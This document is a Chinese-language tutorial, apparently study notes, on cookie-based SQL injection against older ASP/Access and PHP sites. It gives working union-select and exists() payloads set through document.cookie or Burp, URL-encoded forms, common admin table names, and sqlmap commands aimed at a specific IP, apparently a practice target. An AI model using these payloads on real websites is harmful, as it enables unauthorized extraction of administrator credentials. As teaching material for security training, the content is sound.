Cookie是代表身份的一串字符,网站根据Cookie来识别身份,如果获取了管理员的Cookie,就可以无需密码直接登陆管理员账号。
Cookie注入原理:
在动态脚本语言中存在超全局变量可以获取多种传参方式(大多数),开发者考虑到多种接受参数,在解释参数的时候也是用多种解释传参的方法。
例如,PHP中的$_REQUEST变量可以获取POST、GET、COOKIE传参
常见的数据库有Access、Mysql、mssql(SqlServer)、Oracle
Cookie注入在老一点的ASP网站常见,PHP看版本,因为在高于5.2以上的PHP版本中,$_REQUEST变量将不再接受cookie传参
早期网站防护只检测GET和POST传参,没有检测COOKIE,所以可以绕过验证
Cookie注入是依靠特殊的传参方式产生的注入
1、在浏览器中设置
谷歌浏览器:F5:Application:Cookie
2、抓包直接修改
有一点需要注意的是,本地IP127.0.0.1无法被Burp抓包,必须使用分配的IP
3、使用浏览器插件修改
谷歌浏览器有修改Cookie的插件EditThisCookie,有可能被拦截
4、浏览器自带Javascript进行设置
谷歌浏览器:F12:Console
Cookie注入最好进行一次编码,与版本有关系
在线URL编码解码
document.cookie #查看当前Cookie
#Cookie名字为 id
#escape是一个编码函数,会进行一次URL编码
document.cookie="id="+escape("171")
document.cookie="id=169"
#“+”号是拼接符
#escape是一个编码函数,会进行一次URL编码
#双引号代表字符串内容
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")
一般而言,有两种绕过拦截的方法:
(1)走不被检测的入口
(2)规避规则
先使用插件添加一个新的Cookie
如果Cookie传参可以影响到页面,意味着存在Cookie传参,并且可以拼接进数据库
在线URL编码解码
Burp中也有URL编码模块Decoder
COOKIE注入时要删除URL内的id传参,URL里的id传参进去会有一个输出,cookie里也传参了一个id数值,他会优先接受GET的传参,具体看语言,PHP会优先接受Cookie传参.
#Cooike注入,需要URL编码
#注入语句
171 order by 10
#URL编码后,填入Cookie值
171+order+by+10
#检测输出点
#Access是一种较为老旧地数据库,没有库名,只有表和字段
#select 1,2,3是mysql特有的查询语句
#大部分数据库需要正常查询,即select XX from 表名
#猜测表名为admin
#admin表中常有id、username字段
171 union select 1,2,3,4,5,6,7,8,9,10 from admin
#网页编码后
171+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin
#使用Burp编码后,本质是相同的
%31%37%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%20%66%72%6f%6d%20%61%64%6d%69%6e
Access数据库,没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名,只能通过爆破获取表名和字段名
在盛行Access数据库的年代,账号密码一般都在admin表的username和password字段中
#爆破表名
#exists()函数是检查子查询能否查询到数据,如果能会就返回True
#即如果页面正常,就是存在该表
#字段名可以通过偏移注入获取
and exists(select * from 表名)
#在sqlmap中会有常见的表名
#常见的表名:admin、news、job、work、admin_user、user
#sqlmap\sqlmap-master\data\txt\common-tables.txt
#sqlmap跑表名有时候也是强行爆破
判断网页的数据库(可能):
ASP:Access(接近淘汰)
PHP:Mysql、Oracle、Mssql
ASPX:mssql
JSP:Oracle、Mysql
#是mysql特有的注释
mssql有特有的系统自带库名
oracle有特定的语法
有的站点会伪装后缀,使得他人不能够判断数据库,可以抓包看一下,即查看返回包(Repeater模块)的X-Powered-By标识,当然,有的网站也会处理返回包
sqlmap跑Cookie注入:
python sqlmap.py -r 1.txt
python sqlmap.py -u "http://59.6.20.9:8004/shownews.asp" --cookie "id=171" --level 2
sqlmap能跑出来的标识:
可能存在Cookie注入的网站:
(1)ASP的站点存在可能性极高
(2)PHP版本低于5.3的站点存在可能性极高
当然,Cookie注入并不是优先手段,SQL注入是存在尝试顺序的:
(1)显错注入
(2)报错注入
(3)布尔盲注
(4)时间盲注
(5)宽字节注入
(6)Cookie注入
设置Cookie能够影响到页面的数据,不代表存在SQL注入